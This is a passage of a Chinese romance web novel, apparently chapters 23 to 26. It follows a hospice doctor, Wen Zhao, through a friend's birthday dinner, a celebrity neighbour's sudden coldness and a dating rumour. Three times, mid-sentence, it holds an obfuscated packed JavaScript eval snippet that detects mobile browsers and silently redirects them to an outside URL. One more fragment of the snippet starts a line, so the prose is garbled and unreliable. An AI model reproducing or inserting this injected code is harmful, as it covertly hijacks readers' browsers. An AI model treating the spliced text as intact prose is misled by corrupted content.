演播室里的灯光透过顶上的窗户投入走廊,里面传来其他选手的说笑声。而他就这样站在阴影里,像团见不得光的黑影。 - 星海今日的天气很好,带着炎热的气息。昨晚温昭和林晚喝了点小酒,两人今早都睡得格外沉,直至十点多才刚刚醒。 温昭给芝麻添完午饭,顺手拍了几张照片发给祁慕。不过他迟迟没回复,估计在忙工作。温昭抿了抿嘴,跟着林晚去了附近商场的西餐店。 刚坐下—— “温昭?” 一个穿着蓝白格子衬衫的男生走了过来,站在她面前。 温昭愣了一下,没认出来。 “你是……” “还真是你啊!我是谷知轩。” 记忆突然回笼。 这是她大学时的学弟,少年班的天才,比她小三岁,两人还一起实习过。 “好巧。”温昭笑了笑。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286426|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也在这儿吃饭?” “嗯。” 林晚在旁边托着腮,眼神在两人之间来回瞟,一脸看热闹的样子。 “你现在在哪儿工作呢?” “我在星海医院的临终关怀科。” “真的吗?好巧我后几天也要转入。” “是嘛!” “那我们以后就是同事了。” 温昭笑着点了点头,心里有点尴尬,她跟这位学弟实在没太多交集。 “那行,那你们先吃,我先走了。”谷知轩指了指不远处。 “好,再见!” 温昭刚坐下,就对上林晚那副八卦脸。 “谁啊?” “学。” “啧啧啧,”林晚晃着脑袋,“没想到我们昭昭还有这么奶的学弟呢!” 温昭无奈地摇头,正要反驳,林晚突然举起手机:“诶!许汀州明天生日诶!” “我知道,”温昭淡定地切着牛排,“礼物我都准备好了。” “呦!我们昭昭记那么牢啊!”林晚笑得狡黠。 “……”温昭切好一块牛排,塞进她嘴里,“吃你的吧!” …… 隔天下班后,林晚风风火火地来接她:“快快快,蛋糕店六点关门!” 两人取了预定好的蛋糕,原本想订个包厢,结果周围餐厅全满座。 林晚看着手机,垂着头看向温昭:“许汀州家还在装修,现在住合租公寓呢。我家…”她耸着肩膀尴尬地笑笑,“你也知道跟垃圾场一样,要不…去你家?” “行吧,”温昭无奈地掏出手机,“那我跟汀州哥说一声。” 拿完蛋糕,林晚又买了份礼物还有一些菜。 虽然温昭做菜不行,但是林晚手艺却很好。毕竟是吃货,总得为自己的胃下点功夫。 “咚咚咚——”敲门声响起。 温昭抱着芝麻小跑着去开门。 许汀州站在门外,语气温柔:“昭昭。” “汀州哥快进来!”温昭侧身让路,怀里的芝麻好奇地探出小脑袋。 他看见她怀里的猫:“你养猫了?” “哦不是,朋友的,代养。” 芝麻在她怀里“喵”了一声。 许汀州点点头。 “许汀州!”厨房里传来林晚的大嗓门,“快来帮忙!” 温昭忍不住笑出声,能把寿星使唤去干活的,估计也就林晚了。 她刚想跟进厨房,就被林晚挥舞着锅铲赶出来:“去去去!伤员别添乱!” “伤员?”许汀州关切地看向温昭,“昭昭你怎么了?” 还没等她回答,林晚就抢着说:“她手受伤了,不能碰水!” 许汀州立刻放下手中的菜,眉头微蹙:“严不严重?” “没事,小伤而已。” “嗯,小伤!”林晚撇着嘴翻了个白眼。想起昨晚给这丫头换药时,那道将近五厘米长的伤口,都给她心疼坏了。 温昭被瞪得心虚,默默把受伤的手往身后藏了藏。 这时。 沙发上温昭的手机突然响起,她小跑着离开这片不属于她的地方。 她放下怀里的芝麻,拿起手机。 看到屏幕内容的瞬间,她瞳孔猛地放大,差点把手机摔了。 她做贼似的瞄了眼厨房里忙碌的两人,踮着脚尖溜进卧室,反锁了房门。对着化妆镜理了理些许凌乱的头发和衣服,深吸一口气才接通视频。 屏幕里的祁慕还带着妆,三七分的碎发下,浓眉上缀着细钻,光线暗淡的空间内,他的五官越发立体深邃,隐隐约约透露着些许禁欲气息。 “我猫呢?”他喉结滚动,声音比平时低沉。 “我不是给你发照片了吗?” “想看活的。” “……哦,那你等下。” 温昭放下手机,悄咪咪地打开房门,将芝麻抱进怀里,而后又轻手轻脚地回到房间,将她放到床上,翻转摄像头:“诺,你放心,它吃得好睡得好活得好!” 祁慕嘴角抽动,强压下笑意轻咳两声,脸上又变得严肃:“温昭。” “干嘛?” “摄像头翻过来。” “干嘛?” “不想看猫了。” 温昭盯着屏幕里那张俊脸,心跳突然漏了一拍。 ——不看猫,那看什么…… 她耳尖一下子就烫,过了好几秒,才小声地“哦”了一下,乖乖翻转了摄像头。 “手怎么样?” “好、好多了……” 他眯了眯眼,突然凑近屏幕。 尽管知道在视频,但温昭下意识离远了些。 “你脸怎么了?”他说。 24. 第24章 温昭盯着屏幕里的自己,愣了好一会儿。她脸颊红得厉害,像灌了一整瓶高度白酒,还是那种陈年窖藏、后劲十足的类型。 屏幕那端,祁慕正似笑非笑地看着她,那双眼睛黑沉沉的,带着点玩味,盯得她心跳乱得不成样子。 她睫毛颤了颤,张了张嘴,憋了好几秒才找着借口:“今天…星海这边怪热的,我刚回家,可能是晒红了……” 祁慕点了点头,嘴角微不可察地往下撇了撇,就“嗯”了一声。 ——“昭昭,”林晚的喊声突然传来,“出来吃饭了。” “来啦!”她慌慌张张应了一声,转头对着屏幕磕磕绊绊道,“那个…我先去吃饭了。” “行,”祁慕语气淡淡的,“拜拜。” “拜、拜。” 她手指一抖,赶紧把视频给挂了,随手把手机往床上一丢,整个人泄气似的垮下肩膀,趴在床上看着芝麻,小家伙小脸往她这儿一转,换了个姿势继续扒着。她撇撇嘴,报复似的稍稍用力揉了几下它软乎的身体,惹得小家伙略微不爽的“喵”了一声。 “呼……” 她做了个深呼吸,磨磨蹭蹭地推开房门。 许汀州站在餐桌边上正摆着碗筷,一抬眼就愣住了:“昭昭,你脸……” 林晚也闻声回头,立刻夸张地“哇哦”一声:“姐妹,你这还没喝呢,怎么就上脸了?” “房里…有些闷。”温昭声音越来越小,低垂着头走到洗手间。 冰凉的水冲过指尖,带起一丝丝凉意,可这点凉根本压不住脸上的热。 林晚跟过来,故意用肩膀撞了她一下,笑得促狭:“你刚刚在里面跟谁打电话呢?” 温昭低着头,用毛巾擦了擦手,闷声回了一句:“没谁,就…在刷视频……” “哦,刷视频啊!”林晚在一边偷笑,“昭昭那你这视频不干净啊,给你看的脸红成这样!” “林晚!”温昭皱眉瞪她,可那眼神软绵绵的,半点威慑力都没有。 “好啦好啦!”林晚笑嘻嘻地揽住她的肩,“再不吃菜都凉了,某人的‘视频’可不会负责热菜哦!” 温昭:“……” 现在灭口还来得及吗? …… “干杯!” 玻璃杯清脆地碰撞在一起,酒红的液体在杯中摇晃。 三个人,举起酒杯一饮而尽。 林晚:“自从高中毕业,我们都好久没在一起这么痛痛快快的喝酒了!” 许汀州:“是啊。” “来来来,满上满上!”林晚抄起酒瓶就要往两人杯子里倒。 温昭连忙伸手去拦:“少喝点……” “没事儿!”林晚摆摆手,满不在乎地继续倒酒。 她摇了摇头。 ——反正是在我家,喝醉了撒酒疯折腾的还不是我,你当然没事。 她可太清楚林晚的酒量了。 高中毕业那晚,林晚不知天高地厚地喝了一整瓶啤酒,结果三杯不到就开始说胡话,最后是她和许汀州一左一右像抬麻袋似的把人扛回家的,在这中途,还踹了温昭一脚,现在想来都还有点疼。 …… 喝到一半,温昭从冰箱里拿出蛋糕,摆在桌上。手指一挑,系着蝴蝶结的丝带滑落在地,露出个月球形状的蛋糕,上面还缀着几颗珍珠。 “关灯关灯!” 她往蛋糕上插了两根蜡烛。 “啪嗒——” 蛋糕上的“2”、“7”两个数字瞬间被点亮。 “汀州哥,许个愿望吧!” “好。” 许汀州闭上眼睛,一脸认真。林晚和温昭在旁边唱起了生日歌。 一首歌都唱完了,许汀州还没睁眼。 林晚终于忍不住,戳了戳他的胳膊:“大哥,你这是打算把下辈子的愿望都许完啊?” 她歪着头问,“许啥了?” 许汀州慢慢睁开眼,目光越过跳动的烛火,落在温昭身上:“愿望说出来就不灵了。” 他倾身向前。 随着“呼——”的一声轻响,最后一点光亮在他眉眼间熄灭,只余一缕白烟飘散在空气间。 温昭从椅子背后拿出了准备好的礼物,递了过去:“汀州哥,给你的礼物,这次和上次的一起。” “上次?”林晚好奇地看着他俩,“什么时候?你俩背着我偷偷约会了?” “林晚!”温昭瞪了她一眼,带着警告的意思。 许汀州看了温昭一眼,帮着解释:“刚来星海的时候。” “哦——”林晚的尾音拐了三个弯,被温昭瞪得硬生生咽下了后半句调侃。 “可以现在打开吗?” “当然。”温昭微笑着点头。 打开的瞬间,许汀州明显愣了愣。 月亮手串在灰色绒布上闪着光晕,旁边还有一个宝格丽的男士香水。 林晚微微凑近,眯着眼:“这条…怎么那么像你高中弄丢的那条?”她疑惑地看向温昭,“昭昭,你哪来的?” 许汀州眼波流转,也看向温昭。 “其实我第一眼看到时我也惊到了。不过原来那条是上弦月,这条是满月……”她抬起头,眼神温柔,“虽然有点区别,不过也希望汀州哥之后的生活只剩圆满。” 许汀州手指轻轻抚摸上面的满月石,指尖微微发抖。 温昭知道他在想什么。 许汀州高中毕业,正准备搬家时,不小心弄丢了妈妈送他的18岁生日礼物。那个夏天,她和林晚眼睁睁看着他抱着空首饰盒坐了一整夜。那是他初中毕业就去世的妈妈,留给他最后的东西。 “谢谢你,昭昭。”许汀州抬起头,眼尾微红。 温昭微笑着摇了摇头。 林晚也看出了许汀州的情绪,赶紧活跃气氛。 “来来来,吃蛋糕,这蛋糕再不吃就化了!”她抄起塑料刀就往蛋糕上切,“寿星第一块!昭昭第二块!我…我勉为其难第三块好了!” 说着她故意手一抖,一小坨奶油“不小心”抹到了许汀州鼻尖。看着平日里温润如玉的人突然变成花脸猫,温昭一个没忍住,笑出了声。 “林!晚!”许汀州佯装生气,却掩不住嘴角上扬的弧度。他忽然伸手抹了把奶油,以迅雷不及掩耳之势反击在了林晚脸颊上。 “啊啊啊许汀州你完了!” 温昭看着闹成一团的两人,也顺势加入。 …… 餐桌上横七竖八倒着几个空酒瓶,林晚早趴在桌上醉得不省人事,脸颊还沾着奶油,嘴里含混不清地嘟囔着“再来一杯”。 温昭举着手机憋笑,赶紧拍下这副窘样。她拿起湿纸巾刚要擦林晚的脸,就听见许汀州轻轻喊她:“昭昭。” 温昭手指一顿,转头看他:“怎么了?” 他喉结滚了滚,张了张嘴,最后却只是摇摇头:“……没事。”低头瞥了眼腕表,时针都指到十点四十了,“不早了,我先回去了。” “我送你吧?”温昭也跟着站起来,“我就喝了一小口,现在应该代谢得差不多了。” “没事,我叫了专车。”他笑着指了指一遍瘫成烂泥的林晚,“你还有她要照顾呢!” 温昭无奈地看着一旁的林晚的模样,笑了笑:“那好吧,我送你到电梯口。” “好。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286427|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 楼道内的感应灯随着两人的脚步声亮起。 许汀州在电梯前停下,显示屏上的数字正在缓缓跳动。 “昭昭,今天谢谢你……” “这有什么。” 温昭看着他,他的目光温柔似水,修长的手慢慢抬起,就在要接触到她发顶的那一瞬间。 她条件反射般往后缩了缩:“怎么了?” 许汀州尴尬地笑了一声:“头上有猫毛。” 她摸了摸头发,又对着电梯门照了照。金属门映出个模糊影子,芝麻的毛色跟她头发有点像,左看右看也没找着。 许汀州看着她这模样,摇摇头,又伸手过来。指尖刚要碰到那缕黏在发丝上的猫毛—— “叮——” 电梯门缓缓开了,里面冷白的灯光涌出来。 许汀州的手还放在半空中,温昭抬起头,呼吸一滞。 祁慕就站在里面,单手插兜,黑色风衣衬得肩线愈发凌厉。他低着头看手机,察觉到动静才微微抬眼。那双冷峻的面庞触及温昭视线时,和视频通话里面一模一样。 只是此刻在惨白的灯光下更显得凌厉。 她的心脏狠狠漏跳一拍。 ——他怎么回来了……不是说三天? 祁慕的目光淡淡扫过许汀州悬空的手,脸上看不出情绪。而许汀州在看清电梯里那人的面孔后,明显怔住了,手指慢慢蜷起,收了回来。 空气仿佛凝固。 “那昭昭,我就先走了。”许汀州的声音像是从很远的地方传来。 “啊?哦!”温昭如梦初醒,慌忙挤出笑容,“路上小心……” 她礼貌地挥了挥手。 “咔哒。” 金属门合拢的声音像把剪刀,把最后一丝预留的空气也剪碎了。 温昭转过身,正对上祁慕深不见底的眼眸:“你回来啦。” “嗯,”祁慕语气平淡,目光冷得像冰,“我猫呢?” “在我家……” “给我。” “好……” 温昭转过身,走在前面,总觉得背后凉飕飕的。 她小跑进卧室,却发现芝麻早就窝成一长条,在她被窝里睡得正香。 “……” 她只能硬着头皮回到门口。 “猫呢?” “它…睡着了,要不明天?” 祁慕静静看着她,没说话。 见他没有反应,温昭软着声音说:“那我去给它抱出来。” 她还没踏出半步,就被祁慕一把抓住。 她心头一跳,侧过身:“怎么了?” “……算了。” 祁慕眸色更深了些。 他又说,“明天再给我。” 温昭悄悄松了口气:“……好。” 他的目光在她脸上停了会儿,最终什么也没说,转身关上了门。换完拖鞋,他拖着脚步走到沙发边,重重坐下去。他低头看着手里拎着的那串糖葫芦,这是他在京海买的。 他慢慢拆开包装,糖衣完好地包裹着山楂,一点都没化。咬下一口,酸甜的滋味在舌尖漫开,可莫名又尝到一丝苦涩。 他想起今天电梯间的那一幕,牙齿不自觉地用力,咬得更狠了些。 “别人摸头,也不知道躲开!” “我每次靠近的时候都躲那么远!” “还哥哥……” 他瞥了眼手里的糖葫芦,顿时觉得索然无味。 “什么东西,难吃得要死!” “啪嗒——” 糖葫芦被丢进了垃圾桶。 他靠在沙发上,闭上眼睛,抬手揉了揉太阳穴。 25. 第25章 这边温昭轻手轻脚给林晚掖好被角,见她睡熟了,才悄悄钻进自己的被窝。 床的另一侧,芝麻的小肚子随着呼吸一起一伏,睡得香甜。 她伸手,指腹轻轻蹭了蹭它软乎乎的脑袋,动作极轻,声音压得极低。 “芝麻。” 小猫在梦里抖了抖耳朵,没醒。 温昭叹了口气,手指无意识地绕着它的一撮绒毛打转,喃喃道:“你爸爸今天……好像有点不开心。” 她盯着看了会儿,忽然想起祁慕关门时那个眼神—— 冷冰冰的,像腊月的寒霜。 她翻了个身,把脸埋进枕头里:“谁又得罪他了?还是说……工作太累了?” - 第二天,第一缕晨光刚刚爬上窗台,温昭抱着芝麻站在祁慕家门口,敲了敲门。 里面传来窸窸窣窣的脚步声,由远及近。她低下头,看着怀里小家伙粉嫩的小舌头卷了卷,忍不住笑了笑,轻轻摸着它。 下一秒,门打开了。 温昭缓缓抬起头。 就见祁慕顶着一头乱糟糟的黑发站在门口,睡衣领口歪着,露出一边的锁骨。他脸色有点蜡黄,眼下还有淡淡的青色,整个人透着股没睡醒的烦躁。 “你的猫……”温昭声音很轻。 祁慕没说话,伸手接了过去。 “还有……”温昭弯腰正要去拎放在地上的猫砂和猫粮。 “放着。”两个字硬邦邦地砸过来。 “啊?”温昭直起身,一脸茫然。 祁慕的目光落在她缠着纱布的手腕上,眉头狠狠一皱:“手好了吗就拎!” 他的嗓音又冷又硬,还带着点凶意。 温昭撇了撇嘴,在心里默默顶嘴—— ……凶什么凶。 空气凝固了几秒,连芝麻都缩了缩脖子。 祁慕弯腰拎起那两袋东西,手臂肌肉绷紧,青筋微微凸起:“还有事儿吗?” 温昭摇摇头,刚想道别—— “砰!” 门板在她面前毫不留情地合上。带起的风扑在她脸上,掀起几缕散落的发丝。 “……” 芝麻的小爪子扒拉门的声音隐约从里面传来。 温昭站在门口没动,晨风凉丝丝地钻进她衣领,发尾被吹得轻轻飘起。 “喂!你干嘛呢?”林晚懒洋洋的声音突然从背后传来。 温昭一回头,就看见她披着外套,一脸八卦地趴在自家门框上,打趣道:“一大早就趴在人家门口当望夫石啊?” 温昭瞥了眼身后紧闭的房门,深褐色的门板冷冰冰的。她又转头看向林晚坏笑的神情,气不打一处来:“里面热,我吹点冷风!” 说完头也不回地冲进屋里,只留下林晚一个人站在走廊上摸不着头脑:“什么鬼……” 她在餐桌前坐下,面包撕成两半,塞进嘴里用力咀嚼,腮帮子都撑得鼓了起来:“烦!” “哎哟,”林晚在她对面坐下,“干嘛?愁眉苦脸的?许汀州跟你表白了?” “去!” “那怎么了嘛?” 林晚也不恼,反而更来劲了,托着腮帮子等着她往下说。 温昭泄气似的往椅背上一靠:“没事,就是今天出门没看黄历。”声音不自觉地带上几分委屈。 她越想越郁闷,明明也没招惹他啊。 难不成工作不顺利? 还是说吵到他睡觉了? 可他平时不都是这个点起床的吗…… 林晚:“诶,今天你下班,我来接你啊!” 温昭有气无力地点点头:“嗯……” - 办公室外,温昭轻轻敲响主任办公室的门。 “进!” 她推门而入:“主任,您找我!” 主任从文件堆里抬起头:“昂。” 温昭这才注意到办公室里还站着个人。 ——谷知轩。 他穿着一件黄色的短袖,单肩背着一个灰色的书包,整个人朝气蓬勃地站在一侧,笑得阳光。 前天是听他说要来,没想到这么快。 “给你介绍一下,这位是小谷。” “温医生好!”他声音清亮,眉眼弯弯,露出两颗小虎牙。 温昭微微颔首。 “小谷和你一样是星海大学毕业的,”主任继续说道,“今天刚来,之后就跟你先学习学习吧。” 温昭看了一眼谷知轩,对方立刻回以一个灿烂的笑容。 她不动声色地点点头:“好。” “那行,”主任摆摆手,“你先带他熟悉一下医院环境。” “好。” 门一关上,谷知轩立刻活泼起来:“学姐!麻烦你啦!” “学姐!麻烦啦!” “没事。”温昭摇了摇头。 温昭带着他熟悉了一下医院的大致环境。 “临终关怀科室,是和别的科室分开来成立的,”她指着指示牌,“一共有三楼,病人的病房也都是单独的一间……” 她认真地介绍着,谷知轩就跟在她身后半步远的地方,时不时“嗯嗯”应着。 …… 回到办公位。 温昭指了指她旁边的位子:“你就坐这儿吧。” “好!” “没事。”她又说,“今天下午你就跟着我去查房,关于几个病人的具体情况你也了解一下。” “好!” …… 中午,温昭还在写着病人情况,一阵轱辘声从身侧传来。 “学姐!”谷知轩挪着转椅凑过来:“一起去吃饭吗?” 温昭抬头看了眼墙上的挂钟,十一点零五。 “好。”她合上病历本。 去食堂的路上,谷知轩和温昭聊着天,但是温昭情绪并不高涨,只是有一搭没一搭地应着。 直到食堂门口走出来一个人—— 男人穿着那件带着字母的黑色短袖,脖子上挂着一条银链,手上拎着一个塑料饭盒。戴着口罩,碎发有些遮挡着眼睛。 但温昭还是一眼就认出了。 她不自觉地脚步放慢,视线几乎黏在他身上。 祁慕显然也看见她了,可是眼神依旧冰冷。 温昭下意识张了张嘴,“好巧”两个字在嘴里打了个转。 还未出口,就被他一个眼神冻在了喉咙里。 擦肩而过的瞬间,连带着他身上那股柑橘调香味都带着些淡漠感。 直至他的身影走出好几步,温昭才微微侧首。 温热阳光赤裸裸打在他身上,却丝毫没有将那抹身影焐热。温昭望着望着,心口突然像被柠檬汁浸过一样,酸得发胀。 她转回头,往前走了几步,到底还是没忍住。 再次回头时,只有阳光打在地面上的痕迹,哪里还有他的踪迹。 - 下午上班时,温昭带着谷知轩挨个查房,耐心讲解每位病人的情况。 “112床需要特别注意一下用药时间还有量。” “好。” 温昭的手指刚搭上门把手,才意识到这是113病房。 她顿了顿,深吸一口气才推门而入。 余光中她注意到了旁边那抹黑色的身影,但她强迫自己目不斜视。 不用看都知道,祁慕口罩下的表情一定冷得像块冰。 “外婆,我先走了。” “好,快去吧。” 他的脚步声不紧不慢,一下下踩在温昭心尖上,她拿笔的手不自觉攥紧了几分。她缓了缓,转身面对刘婧时,依然露出了那副温柔的笑脸,努力让自己的情绪不外露。 “这小子,前些天刚出差,又要走了。”刘婧嘴上抱怨着,眼里却满是担忧。 “阿慕这小子肯定能照顾好自己,你呀就放心啊!”陈琳一边给刘婧调整姿势,一边宽慰道。 温昭配合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286428|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地扬起嘴角,可心里却乱如麻—— 他又去录综艺了? 那芝麻怎么办? 要带去吗? 这些念头刚冒出来,她自己都愣了一下。 随即在心里苦笑:人家亲爹都不急,她在这儿瞎操什么心?! …… 现在日时渐渐变长了,下午五点半多,太阳还悬在半腰处。温昭揉了揉发酸的肩膀,明明今天不算太忙,却觉得比连轴转的时候还要累人。 林晚打来了电话。 “昭昭你出来吧!我在护士站那儿等你!” “好。” 温昭换完衣服走出来,远远就看见林晚靠在护士站前。 她今天穿了件紫色的吊带抹胸上衣,扎着一个流苏丸子头。明明长着张甜妹脸,穿搭却是辣辣的,偏偏还格外适合她。 “昭昭!” 林晚一看到她就小跑过来,整个人扑进她怀里:“好累啊——” 温昭被撞得后退半步,无奈地看着半瘫在身上的林晚,笑着摇头。 这场景怎么想都觉得反了吧? 明明是她这个上了一天班的人更该喊累才对啊! “学姐。”谷知轩从一边走来。 声音刚落下,前一秒还黏在她身上的林晚瞬间弹开。她迅速转过身理了理头发,再转回来时已经恢复了优雅得体的模样。 这变脸速度让温昭看得一愣一愣的。 而站在一边的谷知轩也没好到哪儿去。 水汪汪的狗狗眼直勾勾地盯着突然出现的林晚,眨都不眨。 “嗨,小学弟!”林晚主动挥挥手。 “……嗨。”谷知轩的耳根以肉眼可见的速度变红,声音干巴巴,还有些发颤。 林晚自然地挽起温昭的手。 温昭:“那我们先走了。” “……好。” 谷知轩的目光在温昭脸上礼貌地停留了一秒,又不受控制地飘向林晚,像丢了魂。 走出几米远,林晚又转过头看。 谷知轩还站在原地,她戳了戳温昭的手:“你这学弟……” “怎么?”温昭挑眉,“看上了?” “嗯哼。”林晚答得干脆,“就觉得…怪可爱的。”说完,她再次回头,对着站在原地的谷知轩笑了笑。 - “我靠!我靠!!我靠!!!” 原本瘫在床上刷手机的林晚突然挺坐起来,这动静把在一边正做着回忆录的温昭吓得够呛。 “你抽什么风?” 温昭无奈地转头,却见林晚已经手脚并用地爬过来,直接把手机怼到她眼前:“快看!” 她疑惑地接过手机,屏幕上刺目的字条让她呼吸一滞—— #祁慕沈雨薇单独聚餐,疑似正在恋爱#爆 点开热搜上的视频,画质比之前狗仔在医院偷拍她和祁慕时清晰多了。虽然又只是两个背影,但温昭对他的身形太熟悉了,一眼就能认出来。 ——所以他这两天冷冰冰的态度,是因为有了女朋友?要避嫌? “天哪天哪!”林晚抢回手机,手指飞快地划拉着屏幕,“他们俩什么时候有交集的!?我怎么一点风声都没听到!” 温昭默默转回身,看着散在桌上的图片,她拿起又放下,注意力怎么也集中不起来。心里像塞了团棉花,又酸又涨,连呼吸都变得滞涩。 这股莫名的情绪来得汹涌,她甚至分不清—— 是因为这两天祁慕冷若冰霜的态度, 还是因为今天的这则热搜词条…… “不过话说回来,”林晚还在喋喋不休,“沈雨薇确实是95花里的top级了,要演技有演技,要颜值有颜值……”她突然捧住脸,“我还幻想过他能成我闺蜜男朋友呢,这下梦碎了啊……” 温昭手上的动作顿了顿。 “……所以我介意你还是少做梦!”她说得小声。 ——这本就是个不可能的梦。 26. 第26章 而这样的梦,温昭竟做了两次。 第一次是在五月三号回星海的航班上。 祁慕那个没预兆的吻像在她心里下了蛊,那夜只要一合眼,脑子里就全是他的影子,缠得她不得安宁。 直到现在,她与他的每个眼神交汇都让这个蛊毒更深一分。她默默地拿起了旁边的手机,打开了热搜—— 所以……是真的吗? 她突然想起之前被狗仔拍到一起去医院时,祁慕工作室不到半小时就发了澄清声明。而现在,这则热搜已经挂了快两小时,工作室却安静得像不存在一样。 屏幕的光映着她微微发白的脸色。 温昭怔了片刻,才后知后觉地发现她自己在意的过头。 可到底是从什么时候开始的呢? 是看见他昏倒在眼前的那一刻? 还是在滨海一起看灯塔的时候? 又或是上次他低头给她涂药,那个温柔的样子…… 她也说不清。 但此刻心里有个念头无比清晰—— 她盼着这一切,都是假的。 “诶昭昭,你也在看啊?”林晚凑过来,把温昭飘远的思绪给拉了回来。 “……昂,”她把手机屏幕往回收了收,嘴角扯出一个不太自然的笑,“八卦是人的天性嘛……” 可这句话说得实在没什么底气。 她自己心里清楚,她向来就是个不爱凑热闹的人。 “你都不知道,祁慕最新那条微博评论区都炸开锅了!大家都在扒他和沈雨薇的恋爱时间线呢!” “是嘛……”温昭垂下眼睫,扯了扯嘴角,笑得有些淡。 …… 第二天一早,温昭对着镜子,往脸上薄薄拍了层气垫。她平时本不爱化妆,可昨晚实在没睡好,脸色差得很,眼下乌青一片,不知道的还以为刚生过一场大病。 刚走到113病房门口,就听见里面传来一阵笑声。她推开门进去,只见刘婧正和陈琳聊得热络。 “外婆,今天这么开心啊。” “昭昭啊,”刘婧笑了笑,又说,“你不知道,我呀,马上就要有外甥媳妇咯!” “外甥、媳妇?”温昭小声重复着这四个字,心里咯噔一下。 一旁的陈琳赶紧插话:“我昨儿晚上听我女儿说,祁慕有女朋友了!今天一早就赶紧跑医院来,把这好消息告诉刘姐,你瞅把她乐的!” 温昭淡笑着:“那可要恭喜外婆了。” 这话她说得违心极了。 老人家越说越起劲,甚至都聊到以后结婚要办多少桌酒了。温昭只默默地听着,给刘婧做完检查,便快步走了出来。 她心口闷得发慌,眼角有些发酸、发热,可她还是咬着牙,使劲把一些不该有的杂质硬憋了回去。 - 下班时分,林晚照例来接温昭。 她实在太累了,一上车就干脆闭上眼睛歇着。等再睁开眼时,窗外的街景已经开始变得些许陌生。她有点懵,随后意识到这不是回家的路,倒像是去城西的。 她转头问林晚:“咱这是往哪去啊?” “带你出去玩玩。” “玩?去哪玩?” “青山路那儿新开了家清吧,”林晚趁着红灯转头看她,“看你今天蔫蔫的,带你透透气。” 温昭望着窗外飞速后退的霓虹灯,没再反驳。反正明天是晚班,偶尔放纵一次也无妨。 走进店里,霓虹彩光打在墙上,中间的小舞台上有驻场歌手,嗓音像红酒一样醇厚。没有震耳欲聋的电音,只有慵懒的蓝调在空气中缓缓流淌。 她们来的很早,还没有到酒吧的高峰时期,温昭跟着林晚随意找了一处座位坐下。 “看看喝什么。”林晚把酒单递过来。 温昭很少来这种地方,对着那些花里胡哨的名字直发懵,犹豫了半天才指着一个看起来最正常的:“那就爱尔兰…咖啡。” 林晚挑眉:“你确定?” “怎么了?”温昭满脸纳闷,来酒吧点咖啡很奇怪吗? 她点点头:“嗯。” “行。” 服务员很快端上两杯饮品。 温昭盯着面前褐色的液体,上面还浮着一层雪白的奶油,看起来跟普通咖啡没什么两样。 她二话不说捧起杯子就是一大口。 “喂!”林晚赶紧按住她的手,“你当喝水呢!” 温昭被呛得直皱眉,这什么咖啡?味道又苦又甜,怪得很,还带着股冲劲儿,烈烈的。 她又小口抿了几下,慢慢竟也习惯了这古怪的滋味。只是脑袋渐渐变得昏沉,涨涨的,还有点发晕。 林晚正四处打量着酒吧,目光忽然定在吧台调酒师旁边。 那儿站了一个男人,侧着身,身上穿着件灰色的上衣,侧脸线条分明,鼻梁又高又挺,微微屈身,手里正摇着一杯红色的酒。 “你看什么呢?”温昭微醺地凑过去,声音软绵绵的。 “两点钟方向,”林晚压低声音,“极品帅哥!” 温昭眯着眼望去:“脸都没看清就说帅?” “帅哥是靠气场的!”林晚自信满满地戳了戳她,“我去搭个讪,一起?” 温昭摇摇头,整个人懒洋洋地趴在桌上:“算了,你去吧。” “那乖乖在这等我,”林晚起身整理了下裙摆,“别乱跑啊!” “……嗯。”温昭迷迷糊糊地应着。 她托着发烫的脸颊,目光追随着林晚的身影。那杯爱尔兰咖啡的后劲渐渐上来,整个世界都变得柔软而朦胧。 她打开手机,屏幕上那条热搜依旧还没撤下,而特别关注列表里“祁慕工作室”的账号也没有发布任何澄清声明。 ——所以…是真的? 她又猛地喝下一口。 褐色的液体再次划入喉咙,灼烧感比刚刚更加强烈,奶油的甜味已经消失无存,只剩下纯粹的苦涩在舌尖蔓延。 驻唱歌手不知何时换了曲子,抱着吉他轻轻弹唱起梁咏思的《密语》—— 烟花吻过夜空 许愿你还在身旁 你眼眸沾着繁星倒影 而我偷偷藏起一个秘密 …… 上次听梁咏思的歌,还是在去滨海的飞机上。 那个时候他就在身侧。 她也清醒着。 只是自愿坠入梦境。 …… 酒杯已经见底,温昭揉了揉发胀的太阳穴,林晚还在远处聊得热火朝天。 她又拿起手机,已经九点半了。酒精带来的困意一阵阵袭来,她不想打扰林晚的兴致,在对话框里慢慢打字:我有点困先打车回去了,你慢慢玩。 发完消息,她摇摇晃晃地站起身,脚步虚浮地走出酒吧。推开门,夏夜温热的风扑面而来,吹得醉意更浓。出租车里,窗外的霓虹灯化作一片模糊的光晕。她慢慢闭上眼睛,眼角不自觉滑落下一些温热的液体,滴落在她的衣服上。 她靠在座椅上,任由温热的风一次又一次吹干脸颊。 - 